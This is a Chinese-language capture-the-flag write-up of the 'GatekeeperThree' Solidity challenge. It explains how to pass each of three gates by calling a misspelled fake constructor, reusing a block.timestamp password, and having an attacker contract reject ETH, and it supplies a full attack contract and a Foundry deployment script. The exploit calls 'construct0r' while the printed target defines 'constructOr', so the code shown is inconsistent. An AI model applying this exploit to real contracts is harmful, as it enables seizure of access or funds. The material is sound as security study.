合约代码：`GatekeeperThree.sol`

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract SimpleTrick {
    GatekeeperThree public target;
    address public trick;
    uint256 private password = block.timestamp;

    constructor(address payable _target) {
        target = GatekeeperThree(_target);
    }

    function checkPassword(uint256 _password) public returns (bool) {
        if (_password == password) {
            return true;
        }
        password = block.timestamp;
        return false;
    }

    function trickInit() public {
        trick = address(this);
    }

    function trickyTrick() public {
        if (address(this) == msg.sender && address(this) != trick) {
            target.getAllowance(password);
        }
    }
}

contract GatekeeperThree {
    address public owner;
    address public entrant;
    bool public allowEntrance;

    SimpleTrick public trick;

    function constructOr() public {
        owner = msg.sender;
    }

    modifier gateOne() {
        require(msg.sender == owner);
        require(tx.origin != owner);
        _;
    }

    modifier gateTwo() {
        require(allowEntrance == true);
        _;
```

```
    }

    modifier gateThree() {
        if (address(this).balance > 0.001 ether && payable(owner).send(0.001 ether) == false) {
            _;
        }
    }

    function getAllowance(uint256 _password) public {
        if (trick.checkPassword(_password)) {
            allowEntrance = true;
        }
    }

    function createTrick() public {
        trick = new SimpleTrick(payable(address(this)));
        trick.trickInit();
    }

    function enter() public gateOne gateTwo gateThree {
        entrant = tx.origin;
    }

    receive() external payable {}
}
```

目标是成为`entrant`。

思路跟之前的`Gatekeper`类似，都是需要绕过三个修饰器，调用`enter`函数。

第一个修饰器：

```
modifier gateOne() {
    require(msg.sender == owner);
    require(tx.origin != owner);
    _;
}
```

在看到第一个修饰器之前，看到了构造函数，在0.8版本，构造函数一般直接写，并不用`function`，看过之后发现构造函数有拼写错误，这就导致这个假的构造函数可以被随意调用，因此变量`owner`可以被我们随意修改。

我们写一个攻击合约，先调用`constructOr`函数，将`owner`设置为攻击合约，在攻击合约里面写攻击逻辑，再在脚本里调用攻击合约，这样`msg.sender`就是攻击合约等于`owner`，`tx.origin`就是我们不等于`owner`。

第二个修饰器：

```
modifier gateTwo() {
    require(allowEntrance == true);
    _;
}
```

满足这个条件需要先调用`createTrick`函数，找到密码作为参数调用`getAllowance`函数，将变量`allowEntrance`设置为`true`。

因为部署合约和调用合约在一个函数写的所以时间戳是一致的。

第三个修饰器：

```
modifier gateThree() {
    if (address(this).balance > 0.001 ether && payable(owner).send(0.001 ether) == false) {
    _;
    }
}
```

我们需要向`GatekeeperThree`合约转账，使余额大于0.001ether，并且要拒绝给我们的转账，所以写接收函数的时候回退。

攻击合约：`GatekeeperThree_hack.sol`

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {GatekeeperThree} from "./GatekeeperThree.sol";

contract Hack {

    GatekeeperThree public _gatekeeperthree;
    constructor(address gatekeeperthree) {
        _gatekeeperthree = GatekeeperThree(payable(gatekeeperthree));
    }

    function hack() public payable{

        require(msg.value >= 0.002 ether, "Need more ETH");
        _gatekeeperthree.createTrick();
        _gatekeeperthree.construct0r();
        uint256 password_hack = block.timestamp;
        _gatekeeperthree.getAllowance(password_hack);
        _gatekeeperthree.allowEntrance();
        payable(_gatekeeperthree).transfer(0.0015 ether);
        _gatekeeperthree.enter();
    }

    receive() external payable {
        revert();
    }
}
```

脚本：`GatekeeperThree_attack.s.sol`

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {Script} from "forge-std/Script.sol";
```

```
import {Hack} from "../src/GatekeeperThree_hack.sol";

contract MyScript is Script {
    function run() external {
        vm.startBroadcast();

        Hack _hack = new
Hack(address(0x06cF033C735c9ae5A28745013dCdc03610dF3Dd1));
        _hack.hack{value: 0.002 ether}();

        vm.stopBroadcast();
    }
}
```

运行脚本，任务完成。